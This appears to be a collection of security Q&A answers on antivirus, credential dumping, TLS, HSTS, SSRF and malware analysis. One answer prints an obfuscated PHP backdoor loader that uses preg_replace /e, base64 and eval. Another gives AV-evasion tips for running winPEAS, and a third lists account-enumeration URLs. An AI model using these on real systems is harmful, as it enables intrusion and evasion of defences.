All of the steps you listed can be boiled down into two simple rules:

Keep all software, including AV, up to date.
Do not download and run anything you don't fully trust.

Now, in more detail:

  Install Antivirus software.

You should install antivirus software to detect and block the low hanging fruit. I would recommend using Windows Defender, which is built in to any modern Windows system. This antivirus used to be a lot worse and has gotten a bad reputation, but nowadays it is fairly solid and is fine even on its own. Do be aware that antivirus is easy for malware authors to bypass. It is only particularly effective against malware that is not new and which has already been around for some time.

  Install latest antivirus software.

Using an outdated version of antivirus or antivirus database reduces its ability to detect new malware. When malware is discovered in the wild, antivirus vendors add its signature to a database. This database must be kept up to date along with the rest of the antivirus. AV software often does this by itself.

  Run antivirus software regularly.

While AV can sometimes detect malware when it executes, it's often better to proactively scan your drive for potentially malicious executables. Most AV software can be configured to run periodic scheduled scans. If your AV vendor does not do this, you can configure it to do so.

  Install latest operating system.

Generally, the latest operating system is the most secure. At the time of this post, that would be Windows 10. Although there are legitimate privacy concerns with running Windows 10, it is unarguably the most secure version of Windows to date. Even without antivirus, it contains sophisticated security mechanisms that make it more difficult for malware to get hold of the system through vulnerabilities.

  Install any patches to software.

All software has bugs. Sometimes these bugs can be exploited to infect your system. This is even true for web browsers, where a security bug could allow a web page to infect your computer, even if you do not intentionally download and run any program. When these bugs are discovered, they are "patched", or fixed. In order for this fix to be applied, you need to keep your software up to date. Configure your operating system and all other software (including your browser) to automatically update itself.

  Don't download random stuff and run it as an application (like .exe files).

If software you run doesn't have easily exploitable vulnerabilities, you can still get infected by malware if you are tricked into running a malicious program. Be aware that not only .exe files can have viruses. There are many dozens of formats which can be executed. As such, you should only ever download files from sources you absolutely trust, otherwise you are opening yourself up for infection.

  I'd like to know what other kinds of things you should do beyond this list to have an ideal security environment in regards to avoiding malware.

There are a few other things you can do to keep your system secure, beyond simply keeping your operating system and associated software up to date and not running software you don't trust:

Do not use an administrative account as your main account.
Set UAC (User Account Control) to maximum security.
Do not install more programs than you need, especially if you don't trust them.
Never run programs as administrator unless you are absolutely sure you can trust them.

I wrote a bit about additional security measures you can take in another answer, where I give specific methods that can be done in the case that you do not use antivirus. That does not mean you cannot use the techniques alongside AV software, of course, just that AV does not obsolete them.


Sensitive information to exclude from Linux server before providing complete backup to vendor for troubleshooting

there are sometimes automated backup-files for various reasons, so i'd add

/etc/shadow*
/etc/passwd*
/etc/gshadow*
/etc/group*
/etc/*~
/home/**/.ssh/*

and, because one never knows ...

/tmp/*
/var/tmp/*
/var/spool


Preventing LSASS from storing clear-text passwords in Kerberos environment

To answer your question: I believe that the safest way would be to use psexec to get a remote cmd shell.  This method should not result in a plaintext password stored.  Or do you mean interactive, AND with a GUI?

Unfortunately your best solution really is to avoid interactive login whenever possible.

Luckily there are some safe ways to remotely manage machines:

winrm (including Invoke-Command powershell)
psexec (only if you do NOT use the "-u" option)
Remote Assistance

These are pretty safe. You generate a token on the machine but that is part of the Windows architecture and not a bug/flaw.

You should avoid using the following whenever possible, as it is possible to dump plaintext passwords using mimikatz:

RDP
psexec with the "-u" option

With Windows 8.1 (and Windows 2012R2?), the plaintext wdigest password is disabled by default. However, as demonstrated in this article, you can simply re-enable plaintext password storage in the registry.  And, there's always kerberos attacks.


Quantitative Security Analysis of Open Source Repos like CRAN and NPM

Though this is not a research paper it may give you some insight into NPM:

A Malicious Module on NPM

Just because the package system is "Open Source" does not mean it isn't managed. Take the Apple App Store for example, the most widely used mobile device brand in the world and even they have issues managing the saftey of the downloads they provide.


There are readily made obfuscated winPEAS executables released by Carlos Polop.
If those are detected and blocked by AV as well, I would suggest firing up a SMB server and execute your winPEAS from there. I'm pretty sure the AV will not detect it.
Also, you can try in-memory execution of winPEAS batch via PowerShell. This way, you will not be writing winPEAS to the disk. There might be a chance AV does not detect it
If all else fails, perhaps you might want to read into what winPEAS does and perform manual enumerations yourself.


What is the difference between ISO 27001 and ISO 27002?

The ISO 27000 series of standards are a compilation of international standards all related to information security. The difference is that the ISO 27001 standard has an organizational focus and details requirements against which an organization’s Information Security Management System (ISMS) can be audited. ISO 27002 on the other hand is more focused on the individual and provides a code of practice for use by individuals within an organization. If you compare them you will see that they're structured similarly and that they map to eachother.

The the difference is in the level of detail, ISO 27002 explains one control on one whole page, while ISO 27001 dedicates only one sentence to each control.ISO 27002 provides best practice recommendations on information security management for use by those who are responsible for implementing or maintaining the Information Security Management Systems (ISMS). Whereas ISO 27001 defines the audit requirements.


Chrome is storing login POST requests in its memory

You don't really have to worry about this.  You aren't responsible for managing the virtual memory of a client's browser.

Think through what you're concerned about.  The only way for this to be exploited is for an attacker to be on a client's machine, and to dump the memory of the process.  If this is the case, they already have multiple easier methods of harvesting credentials (keylogging, browser Man-in-the-middle, etc...).

If you really wanted to get crazy about it, I suppose you could do something like this:

Separate the 'password' field into multiple different form elements spread around the page
Assign each character to a different variable in the POST request
Send all the characters in different order and reassemble on your side

I don't 100% know if that'll work, but I don't think it'll be easily readable in memory without some manual extraction.


Is there a standard recommending physical destruction of a machine?

All the documentation I've ever seen on the subject is very clear, you just have to do a certified wipe of the storage medium. RAM, screen, graphics, etc. just generally aren't listed. With that being said, the official DoD Manual regarding the Protection of Classified Information (from 2013, which is latest I could find) prescribes that methods used for

  clearing, sanitization, or destruction of classified IT equipment and media

can include

  overwriting, degaussing, sanding, and physical destruction of components or media

It goes on to state that

  Classified IT storage media (e.g. hard drives) cannot be declassified by overwriting. Sanitization (which may destroy the usefulness of the media) or physical destruction is required for disposal

But again, that only applies to storage media, I couldn't really see a reason why the complete destruction of the entire equipment would be necessary if they don't even do it with classified materials. But there may be classified procedures that prescribe destruction of the entire unit, I wouldn't know.


The 0x9a2 means      the platform auth of the owner auth is not null. It may be from the BIOS itself, or from a previous     takeownership.

The solution is to clear theses authorizations. On a NUC NUC5i3MYHE, there is a jumper.

Pull out the jumper and power off.
Reboot. You will reach a ConfigMenu.
Press [4]Clear the TPM. Be careful, if you had already created keys, you won't be able to recover them.

Now, the 3 authorizations are null, and you can take ownership, and run the tests.


You cannot really hide the domain name, because if someone connects to the port 443 of your server and begins initiating a SSL connection, your server will respond by sending his certificate... which contains the server name.

Actually, the client may send the intended client name as part of a Server Name Indication, which is a rather recent extension which is not supported everywhere (Internet Explorer on Windows XP will not send it, it requires IE 8 and Vista or later). The server may theoretically wait for an explicit SNI before sending his certificate; however, both the SNI and the certificate will travel unencrypted at this point, so the server name cannot be considered as really secret. And you cannot realistically mandate a SNI from clients right now (maybe in five years, when the current crop of WinXP has mostly died out...).

Also, the server name is part of the data which the DNS sends to whoever asks, on a regular basis, and without any encryption. A server name is definitely not a secret.


The HIPAA Privacy Rule "regulates the use and disclosure of certain information held by
"covered entities" (generally, health care clearinghouses, employer
sponsored health plans, health insurers, and medical service providers
that engage in certain transactions.)" Where a covered entity is a Health Care provider, a Health Plan, or a Health Care Clearinghouse. So the question is,
Are you a Covered Entity?
The site offers an Entity Chart .pdf for making that determination (it appears to be a flowchart of yes/no questions). Page 4 covers Clearinghouses - looking at the diagram, I'd say your website is probably not a "covered entity".
Naturally, I am not a lawyer, and you probably should consult a lawyer.


Here "signature certificate" means "the signature private key and the associated certificate". This is a commonly used shortcut.

Since I did not find any technical details about the product I cannot give a final answer to your second question. But I am confident that the signature key is generated by the HSM and cannot be easily exported outside the device. Note that non-repudiation also depends on the security model of the HSM (who can generate the key? who can use the key? how is the key access controlled? etc)


How can I authenticate the certifcate of a Private CA while I'm not on that network i.e. offline

You query the certificate store where the private CA's cert would be stored. CA certs are stored in a collection of trusted certificates, often managed by the operating system but optionally separate from it (as Mozilla does) or even specific to a particular application. You'd need to know what store your private CA cert would be installed in, and check to see if it's there. The exact APIs will depend on the platform (OS and possibly runtime) that your app runs in, but an example (for .NET applications) would be https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.x509certificates.x509store?view=netframework-4.8

To verify that the desired cert is present, you probably just want to include its thumbprint (cryptographic hash) in the app; that way, somebody can't extract the expected value out of the app. With that said, I'm not sure what you're actually trying to achieve here. If your goal is just to prevent the app from being run on unknown computers (basically, a simple form of DRM), I have bad news for you: any check you can put in, a knowledgeable hacker can remove by editing the app code using debugging or decompilation tools, and thus run the app with the check either being totally bypassed or having its result spoofed.


Is Adobe Flash Player installer redirect due to a malware?

I dont think this is any malware.
The Omniture tracker blocking in Ghostery will block Adobe Flash Player to terminate correctly (comment by anonymous user n° 34727, verified personally).
It does consider to track us more important than to perform a correct install.

Unfortunatly since many years and many versions of Adobe Flash Player installer, this is the way that this installer is behaving.
The core of the problem is that Flash installer is behaving as a typical malware:

you don't see which version you are installing;
you can't check if this is a valid installer;
you can't check if it is fixing any of your bugs;
you can't check if it risk to break something within your working environment.

Since all versions since many years have goten the same window look, it is too easy to make a fake one.
These are bad practice of course, since no user will be able to disambiguate a normal Flash Player installer from a real malware.
Personnal point of vue:
I consider this software as a basically risky one developped by a
company Adobe which doesn't care of customers, quality and security.


Are social security numbers useless by themselves?

Please remember that SSN numbers are NOT random. They include data like where it was issued, and what year it was issued. This might not be hard data, but it can be used to infer data about the person it was issued to.

http://www.ssa.gov/history/ssn/geocard.html

http://www.stevemorse.org/ssn/ssn.html

http://en.wikipedia.org/wiki/Social_Security_number#Structure

Pre-2011:

  The number is divided into three parts: the first three digits, known
  as the area number because they were formerly assigned by geographical
  region; the middle two digits, known as the group number; and the
  final four digits, known as the serial number.

While the number in complete isolation is not useful, you can leverage it with other info.

Not to mention that it is used for identification for other means (like employers, health insurance, banks, etc.)


Is it a breach to have a ssh program into a tomcat server

Since according to the comment these files are intended this way this can not be considered a breach. A breach would only be if an attacker has installed the files there.

Of course these files might increase the attack surface because they might make it easier for a potential attacker. But this can probably also be said from other programs on the machine, like PowerShell or even the Java installation. It might also be that these files are installed in an insecure way (i.e. open remote access) but simple having SSH or any of the other tools on the machine  is not a security problem by itself.


To whom do the PCI DSS password requirements apply?

The password requirements of PCI DSS, among everything else, state
  that you must enforce a very specific password policy:

  You need to force the users to change their passwords every 90 days,
  their passwords cannot be shorter than 7 characters, etc.

  ...

  On who does the policy apply? Does it apply on the simple user /
  customer or is it talking about the staff / moderators?

To quote the DSS 3.2, intro text to Requirement 8 ("Identify and authenticate access to system components"):

Note: These requirements are applicable for all accounts, including
point-of-sale accounts, with administrative capabilities and all
accounts used to view or access cardholder data or to access systems
with cardholder data. This includes accounts used by vendors and
other third parties (for example, for support or maintenance). These
requirements do not apply to accounts used by consumers (e.g., cardholders).

  As far as I know, large companies such as Google, Facebook, PayPal and
  many more don't enforce that policy. For example, none of them freeze
  your account after a period of non-activity as PCI DSS requires and
  services such as Facebook allows your password to be 6 chars long
  (which is less than the 7 chars min stated in the PCI DSS
  requirements).

  Those companies are PCI DSS Level 1 Service Providers and are listed
  in the PCI DSS Service Providers index.

Google and PayPal are; I don't see Facebook on the Visa SP Listing.  But as above, it's not your account - consumer account - that is governed by PCI DSS.  And, especially with a company like Google, it's easy to have an account that never goes near touching a credit card or credit processing function.  So it's not that surprising.


First of all go to the police.
Tell them your story, tell them you sent them a copy of your passport. Alert your bank and credit card suppliers as well. The biggest problem with sending a copy of your passport is that they can easily do identity theft.

I wouldn't use an AV for your computer, I would just re-install your computer from scratch. As we always say:

  Your system is compromised now. Nuke it from orbit and restore from a trusted state (backup).


Found suspicious, obfuscated PHP file. Is this a hack attempt on my website?

What will this code actually will do?

You have a backdoor that allows Remote Code Execution

Credit to borjab for the inital decode

<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Note this base64 encoded string we found in the first file:

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc

When decoding that string, it points to this file:

/home4/mitzvahc/public_html/assets/img/logo_small.png

The "image" file is not what it seems to be.

kayge pointed out that the file is obviously accessible online. So I downloaded your "image", which is where the real hack is happening. The first script is trying to load the content's of that image.

Inside the pretend image, there are two eval() statements which allow full arbitrary code execution when checking $GLOBALS[ooooOOOOo(0)].

This only happens if the attacker attempts to set that variable. 99% of the time when you see eval(), all you really need to know is that your entire web server is compromised by remote code execution. Here's what it's doing:

eval(gzuncompress(base64_decode("evil_payload")));

Of course, you were already compromised through some form of exploit, but this gives the attacker an obfuscated backdoor into your web server that they can continually access, even if you were to patch the problem allowing them to write files in the first place.

What are the evil gunzip contents?

You can see them here.
Inside the above, here's another encoding dump (Thanks, Technik Empire)
Technik Empire just greatly contributed to the deobfuscation of the contents in #2.
nneonneo cleaned it up even more.

Why is this happening?

  How it's possible that a supposedly locked PHP file can get updated on the server?

This is too broad to answer without having access to everything. You may have incorrect hardening on your Content Management System installation, or there may be a vulnerability somewhere in your web stack. I don't care to visit your website considering what's going on, so you can check these links if they're part of your CMS:

Joomla Security Checklist
WordPress Hardening
Django Deployment Checklist

If your CMS isn't listed, look for hardening/security checklists for your CMS installation. If you are not using a CMS, but rather your own code, then it's on you to fix your security holes.

There could be any number of reasons why this is happening... but the bottom line is: either your web host has been hacked, or you have an exploit on your website which allows malicious individuals to insert additional code and give them full control over your website... meanwhile, they are attacking your visitors.


Do browsers send cookie on Cross Site GET request?

In order for cookies to be sent with cross-site requests, .withCredentials must be set to True in the cross-site request.  See https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS for more info (scroll down to the section 'Requests with credentials').


clarification on how rainbow tables use multiple reduction functions to avoid collisions

OK, I think I figured it out.

I made an illustration since It seems to be the best way of explaining what's going on.

Rainbow tables use a different reduction function on each link in the chain (this can be viewed as a different function on each column, where chains are rows)

In the following illustration

H() is the Hashing function
R() is a common reduction function used on every link (not a rainbow table)
R1() to R3() are different reduction functions on every link (Rainbow table)
A-Z are plaintexts obtained by a reduction function
Hash1-5 are hashes obtained by the Hashing function

In the illustration you will find:

What happens during a collision in a Hellmans table (the predecessor of the Rainbow table, uses a single reduction function R())
What happens during a collision in a Rainbow table (identical to the Hellmans table, but uses different Reduction functions on each chain link)
What happens during a Collision occurring on the same spot on a Rainbow table (It's statistically unlikely, but if this happens then the chains end up being identical, but since this does not happen often it's not that much of a concern)


I'm assuming you can only send this HTTP through the internal Wifi network...? A hacker would have to breech your network (this should be your #1 concern) and understand you arming your alarm with http commands which will not be something they are directly looking for (if an anonymous hacker). If that happens you're in trouble... but if a hacker can remotely access your home network you're in trouble. How are you routing your http commands? If you are sending them from the "internet" into your router by initiating an http connection externally... -that is a serious problem-. At the very least it is bad practice, imo.

To give a clear answer: either way it's worth using some protections. Https/tls is fine. Oauth is another option. I would not allow the saftey of my family to be associated with something that is vulnerable to a simple replay attack.

Here is a great, condensed, article on Rest Security. https://www.owasp.org/index.php/REST_Security_Cheat_Sheet


What are these two certificates I need to install - external CA root certificate

You do not have to install them. This is the certificate chain the webserver should provide for the clients so they are able to verify the certificate.

The CA's root certificate is in the browsers or OS' store of trusted certificates. CA's usually don't sign client's CSRs with the root certs, but with intermediate certificates, which are by themselves signed by the root cert. The browser receives the websites certificate and can also download the chain. The browser or any other client can then verify the chain by comparing the signatures until the program ends at the root certificate. The root certificate will then be compared to the certificate in the trust store.

The certificates should be put into a file together with the websites certificate. The webserver should then be configured to use this file as CA-file.


Can manual hash verification defend against a DH MITM attack?

Alice would not have to send the hash value over the wire; instead, Bob must recompute the hash value on his side, based on the values he received, and then compare the hash value with an authoritative source (the phone call).

This works. It is easy to see if we consider it in two steps:

In the presence of Diffie-Hellman, a Man-in-the-Middle attack requires the attacker to put his own DH public key in lieu of that from Alice or Bob (a MitM is a double-impersonation, so the attacker must do the substitution twice). It suffices for Bob to "make sure" that what he received is indeed what Alice sent to detect such a substitution. Bob can phone Alice and spell out, over the phone line, the DH public key he received (which includes the DH group parameters p and g, and the actual DH public key from Alice ga mod p).
Instead of spelling out the three big integers (that would be more than 1500 hexadecimal characters), Alice and Bob can simply use the hash of the values. As long as the hash function is second-preimage resistant, verifying the hash value is as good as verifying the complete public key.

This method is exactly what happens with SSH. The first time you connect to an hitherto unknown SSH server, you get something like this:

The authenticity of host 'foo.example.com (42.17.131.8)' can't be established.
RSA key fingerprint is 45:77:d0:f0:b1:76:ce:cf:14:60:e4:89:54:20:c5:3d.
Are you sure you want to continue connecting (yes/no)?

At this point, you are supposed to phone the sysadmin of the intended server to check the hash value (or check it against some any other authoritative source, which depends on the context). This is exactly what you suggest. The SSH client then records the public key from the server, so that no such question is needed for subsequent connections.


Casting return from ClassUtil.newInstance

It depends on what some class is and what you are doing with it. In an of itself, there is nothing inherently insecure about it.


Why can't we create a new SSL implementation?

Writing a working SSL implementation is not hard when you do it often; I have done it four times already (for various customers, nothing opensource, alas). It takes about 3 days, maybe 4 or 5 if you want to do it correctly (at least that what it takes me)(*).

Producing a new SSL library would not be a problem, and neither would it be a solution. There already are several beyond OpenSSL, e.g. GnuTLS, PolarSSL, CyaSSL... See the Wikipedia page for a list. Most are open source.

What is hard is maintenance. It is the tiresome job of keeping the library up to date with new protocol versions, new features, interoperability issues (the workarounds needed to talk with other existing libraries which do not necessarily conform to the standard)... OpenSSL source code is sure hard to read, but that's because it has grown from an historically simple but ancient core, and developed extensions, new APIs, and creeping featurism, including a fair share of "fixes" to avoid compiler bugs.

(*) Excluding the full-featured X.509 validation. Path building, processing of all extensions, and handling of revocation, is quite a task. A primitive validation mechanism for specific cases is easy enough, but reasonably complete X.509 support is daunting. I would not like to implement such a thing in C.


Danger of having my website make arbitrary web requests

are issue serving arbitrary images that I'm not aware of

There are actually - Gifars which are a GIF image and JAR file combined.

Regarding your original question, you should validate the URL to check it is a valid format for a http or https URL (i.e. not FTP or another protocol), and you should check that the domain resolves to an external website (i.e. that an attacker hasn't entered an internal IP such as 192.168.1.1 or that DNS resolves to an internal IP which could probe your internal network infrastructure). Make sure that your HTTP request goes to the same IP as the one your validation uses. Also you should lock down your server environment as much as possible so that only the internal servers necessary are contactable on your network.

You should make sure that either HTTP redirects are not followed, or if they are you should execute the same validation on each redirect in the chain. You should also check that there are no redirect loops that could DoS your system, by enforcing a maximum redirect count.

Also you should be aware that attackers could use your service as a proxy. For example, sending SQL injection attacks to other internet servers which would report your service's IP address as the source. You should make sure you log all requests against user IP and account. You could also rate limit based on this data to prevent one user/IP making too many requests, in which case you could validate with a CAPTCHA.


If a file has previously been scanned by VirusTotal, will the VirusTotal website always indicate this fact?

In my experience, VirusTotal keeps track of the file hashes. For every upload it does a lookup to check if a file has already been scanned before. I checked their policies, but couldn't find how exactly hashing and lookups work and if there is any ageing process.
Submissions to virus total are not normally automated for general software and developers aren't obliged to submit their built executables to VirusTotal. One can argue, it's not the responsibility of developers to notify the AV vendors about a new version of their software. If you ever submitted your own software there, the process can be upsetting, especially when several AVs misclassify your own software as malware and their page to submit a false positive report does not actually work or no one cares on their end to fix a false positive.
Another example, not all files in the Windows\System32 are scanned, I've just submitted an executable from the Windows folder and it hasn't been scanned before. I've also submitted a dll, that was scanned a year ago.
It just means no human or application has uploaded that particular file before, and that's ok.


What are the benefits to a two-page login system for a webapp?

From a pure functional perspective, the 2 page system sometimes allows for home realm discovery (where the user has accounts in more than one system)

For example, Microsoft has something called the Microsoft Account and the Organizational Account.  The username feature allows HRD to redirect to the correct authenticating server.  This feature is live and active for all Azure, O365, and related sites.

For clarification:

LiveID, or Passport is now known as the Microsoft Account
Azure Active Directory, Office 365, WAAD, and possibly ADFS all use "Organizational Accounts"

It is possible to have an account in the form of user@company.com at one or both directories. You can test for the presence of an account in one or the other directory by checking the JSON available here

 https://login.microsoftonline.com/GetUserRealmExtended.srf?login=EMAIL@COMPANY.com

or

 http://odc.officeapps.live.com/odc/emailhrd/getidp?hm=0&emailAddress=USER%COMPANY.com


Can keyloggers read what's in a field, or only your keyboard inputs? What about mouse movement?

What a keylogger can do depends on how it's been programmed. The name "keylogger" is just a generic term to refer to a program that records what you do on your computer. Originally, simple keyloggers were just keyloggers, that is, as the name suggests, they recorded your keystrokes. But more advanced keyloggers have then been developed, capable of recording your screen, tracking your mouse movements, etc. This kind of malware could hide inside a simple program, or it could even hide inside a kernel module, so "keylogger" is really a very generic term.

The real problem you have is that if you want to defend against "keyloggers", whatever that means, then you also need to defend against all other kinds of malware. What are you going to do about that? If you think you can get infected by a keylogger, why can't you also get infected by a browser plugin? Why can't a "keylogger" also have a module that will patch your browser, giving the attacker full control over what you do online? Why can't the "keylogger" be just one part of the whole infection, which might actually be a rootkit? In other words, I see some problems with your threat model, which I suspect is wrong or incomplete. You want to know how keyloggers work exactly, so that you can find a way around them, but your threat model should also include a lot of other threats in the same scenario. Then you'll realize that knowing how keyloggers work exactly isn't going to be very helpful.


HTTPS - Having TLS configured on Load balancer

I have had to architect around this problem.

TLS off-loading does put greater load on the load-balancers. Not only do they take the brunt of all the traffic, but then they have to decrypt the traffic, too. If you can do the TLS function across the distributed web server estate, you spread the load.

But this is NOT a security concern. This is a load balancer capacity concern. If your load balancers are at such a capacity that they can't handle TLS, then you are near enough to a DoS event that it might not matter. Time to consider hardware that is better designed or that can handle greater capacity.

What is a security concern is that if you keep the TLS processing on the web servers, then you cannot place other protective technology in front of your web servers and after the load balancers (like WAF or anything that needs to inspect the traffic). TLS on the load balancers means you can inspect the traffic in the clear.

As always, there is security/usability/budget balance that everyone needs to strike. If your network manager says that TLS will break the load balancers (oops), then you need to put it elsewhere.


Are there any uses of having a non-deterministic salt value for hashes?

Not really. This does protect you from client side brute forcing, but opens you up to DoS-like attacks.

The flaw here is that when someone is attempting to brute force a password, the CPU power they use is yours, not theirs. Which means that your system can be brought down on its knees much faster by a distributed brute force attack. Especially since there's no "escape" to the for loop till integer overflow: If I enter an incorrect password, your server will try getting the right hash for it for a while.

You won't be able to keep the difficulty too high, either. Thing is, this exact computation is carried out every time the person wants to log in. This is not hard-to-make-but-easy-to-verify like the Bitcoin system. Since i is unknown, this is just as hard to make at it is to verify.

The only thing this protects against (only slightly) is if your database got compromised -- then you would be protected against bruteforcing. But salts on  SHA256 manage this job well anyway.


What is the implication of HSTS on unsupported browsers?

A website implements HSTS by sending a Strict-Transport-Security header. A browser that doesn't understand the header will simply ignore it, just like any other custom or malformed header.

  Will there be any impact on the site?

The impact will be that the user becomes vulnerable to attacks that HSTS is supposed to protect against (i.e. HTTPS downgrade attacks). That is, if the user visits the site, their browser won't notice that the sites instructs them to remember to only connect to the host via HTTPS for a specified amount of time. So, if the user types in mybank.com, their browser will always attempt to connect to the site via HTTP first instead of recalling the HSTS directive.

Besides the MITM threat (and the risk of running an outdated browser), there will be no impact on their browsing experience.

Somewhat related:

How can a web application protect users when the browser doesn't support HSTS?


Can a compromized browser know your ISP's IP even if using a VPN?

A VPN only protects the connection to the VPN exit, nothing more. It does not restrict what can be connected to and what information can be exchanged. A compromised browser could simply phone home through the VPN and submit all relevant information about what you are doing. A VPN will not prevent such phoning home but instead protects it like all the other traffic. Such a compromise could be as simple as using a malicious browser extension, which includes previously innocent extension which gone rogue.


Downloading suspect files into quarantine?

Downloading into an AV-style quarantine usually implies that the file is encoded or encrypted in some way to completely disable any ability it might have to attack the OS through a metadata exploit or accidental execution. This, however, would negate your ability to analyse the file.

Virtual machines are probably your best bet. As long as you disable certain sharing mechanisms that are often bundled as default features with VM products (e.g. directory sharing) the isolation should be very good.

Here's my usual procedure, within a VM:

Ensure that any config tools (e.g. VMWare Tools) that are installed on the virtual machine have been removed. The malware may leverage these to enable certain sharing features.
Download the file to a directory using wget or an alternative, without having that directory open in any kind of browser (e.g. Windows Explorer). If such a window were open, metadata may be read from the file.
Go into the VM settings and disable the network card and all other unnecessary hardware.
Take a VM snapshot in case the malware trashes the machine.
Begin analysis, and write up your findings on the host OS so you don't have to break quarantine to export them. If you have to export something, it is significantly safer to enable clipboard sharing than it is to enable the network card and upload the file somewhere.

If you can use a dedicated machine for this work, it is always wise to do so. It allows you to configure a firewall on the host that limits outgoing traffic from the VM, without the danger of the malware disabling it. It also allows for easier containment should something bad happen.

Of course, the most secure solution would be to analyse any executables on a platform that doesn't support them, e.g. analyse Windows malware on Linux. However, it may be more difficult to find good analysis tools.


Is there any drawback of using OAuth "pseudoauthentication" as opposed to OpenID?

OAuth was designed for cases where Application X needs access to resources (e.g., "my photos" or "my email address" or "my calendar") controlled by Application Y and belonging to User A — User A may want to grant access to those resources on Application Y, but he doesn't want to give Application X his actual username/password credentials. So an access token is used as an alternative credential for a resource on Application Y. Access tokens can be revoked independently of username/password credentials and are, ideally, tightly scoped to only allow access to specific resources.

Using OAuth 2 for authentication overloads that model in ways that can be risky. Look at the example above, and imagine it being used for authentication. If Application X uses that access token for authentication, then it's taking a token that grants access to resources on Application Y, and using it to grant access to its own resources. Maybe that's splitting hairs, because the important thing is that we know that the act of granting an access token via OAuth 2 implies that the user has successfully authenticated. The problem is that the access token doesn't say anything about which application the end user authenticated for. So what happens if Application Z also has an access token for User A's resources on Application Y? If Application Z can get Application X to use this access token, then it has access to User A's resources on Application X. That's bad. User A may have trusted Application Z to access his resources on Application Y, but User A certainly never granted consent for Application Z to access his resources on Application X.

OpenID and OpenID Connect are specifically designed for authentication. OpenID Connect is built on top of OAuth 2 so that it can take advantage of existing interactions and flows, but it adds an entity called an ID token, which is an object containing a set of claims about an authentication event. Those claims include an identifier for the user who performed the authentication, an identifier for the server that handled the authentication, and an identifier of the audience of the authentication. This gives an application the information it needs to validate that a user is authenticated on its behalf.


How do location-based apps avoid getting cheated by emulated GPS?

There are many ways to track user's location on a mobile device (I will go into how that works later).

None of the tracking methods are particularly easy to spoof. It can be done but it is simply outside of the realm of the average user as it generally requires either a modified device (physically or programmatically) or external gear.

Moreover, it is far easier for developers to simply tie multiple forms of tracking with simple logic (IE you can only 'check in' x number of times within timeframe y) than it is for a hacker to spoof an app like foursquare and get that 5% discount on dinner. Once again, it can be done, but [my theory is] so far it is not economical to hackers.

As promised, here are a few of the big technologies leveraged in geographic tracking:

GPS Reporting. This is probably most familiar to you. It is the most 'expensive' report because it requires relatively large amounts of power to read several GPS satellites. A pure GPS system is rarely used on mobile devices today. GPS devices can be spoofed programmatically (by changing the software's call to the GPS driver's position) even without modifying a device at all (as seen here).
GSM Reporting. This is perhaps the most common way your location is tracked through the day while you are moving around. The concept is simple. Your phone, with normal messages to the cell towers nearby, triangulates your position at a given time. This method is extremely hard to spoof without external hardware or seriously altering your phone's functionality (IE if you spoof a cell tower then yes you are 'not tracked' geographically, but you also cannot make phone calls). Additionally, cell traffic is encrypted. You could potentially spoof the access point where the apps software talks to the phone's cell tower data driver, but that is also difficult to say the least.
LAN Reporting. This is a pretty cool concept because it provides high levels of accuracy indoors (something that has traditionally been an issue). This requires much setup but at a minimum would allow apps to talk to registered wifi hotspots to confirm your location based on which wifi you are connected to. This is theoretically possible to spoof but it would largely depend on the levels of encryption for the legitimate connection's signature.
WAN Reporting. This is nothing more than simple IP address reporting. This is perhaps the easiest to spoof, but I put it in here for completeness as it is very common to mobile friendly sites.
Others (Bluetooth, RFID, Inertial nav, experimental, etc) There are quite a few other methods out there. One of my favorites is Inertial Navigation where there are no external transmissions (thus potentially very difficult to spoof) as it uses internal sensors and map to ascertain your position. This is seen in missile guidance systems as well as some apps. Life360 for instance uses a variation of this as it uses very little power (all the sensors are already active).

Other things to remember:

Developers can leverage any number of these technologies, thus making an app even harder to spoof.
Most location data is stored on a mobile device (and sometimes in many places) until explicitly deleted. Thus a developer can (potentially) access previous location data points. So if you say you were at cafe mama's 20 times todays and the app simply talks to siri to find out your last geo-data point was 100 miles away, the app will wonder...
Law Enforcement would have far greater ability to determine your real location so just because you may have spoofed an app doesn't mean you should bet your life on it (some comments elsewhere suggested that you could use this spoofing nefariously, so I thought I'd toss this in here).


Terminated user did something to corrupt OS and data on turned in laptop

There are two levels of file-deletion on a computer.

When you delete a file, the system simply marks the space that the file took up as available again. If that space doesn't actually get used again, the file is still there and can be recovered. I've used Piriform's Recuva program with some success in the past, but there are others out there as well.

If the file was overwritten, either deliberately with a secure-erase program or just through normal course of operations, then recovery is extremely difficult to impossible.

If all the files are just renamed to random strings, then you could conceivably just try opening them all in notepad/word/etc. Might take a while but changing a files name doesn't destroy any of the data in the file.


Mostly, yes, this is about writing code and remembering not to do anything bad. At its core, the crypto-code writing process really is a combination of understanding and updated knowledge.

To write crypto code, you have to fully know how the code you write gets translated into assembly, then machine code, then electric signals; it can help to have some notions on how a transistor works. You do not have to develop in assembly, but you must be able to think about what your code becomes. Observing the assembly output from the compiler (assuming you work in C or something similar) is very instructive.

The point of this knowledge is that most fashionable attacks nowadays are about side channels, that feed on subtle differences in execution time or memory access pattern or power consumption of code. Programming languages are meant to provide an abstract view that hides all these details; the successful crypto coder is one which can undo that abstraction in his head as he writes the code. A crypto coder must master his programming language to the point that he could write the compiler itself (not that he will do that, be he must be able to).

Then you have to maintain yourself up-to-date with all known attack vectors, which means keeping track of all discoveries on that subject. Experimentally, I find that this very site (security.SE) and the endless ramblings of the chatroom users is a good method to pick up some information -- however, once you know that a potential attack exist, you have to dig up a bit, including reading the academic papers and abstracts, which requires, of course, skills at reading academic papers (the kind of skills that you acquire when you do a PhD).

A crypto implementation can be considered as good only insofar as it can be reviewed, so, regardless of how well you write it, you still need to document it heavily. Security cannot be tested, so some code can be considered as secure only if it can be fully understood. The "burden of proof" lies on the developer's shoulders: it is not sufficient that nobody found a way to break through the code (yet); the developer himself must explicitly demonstrate why his code is fine.

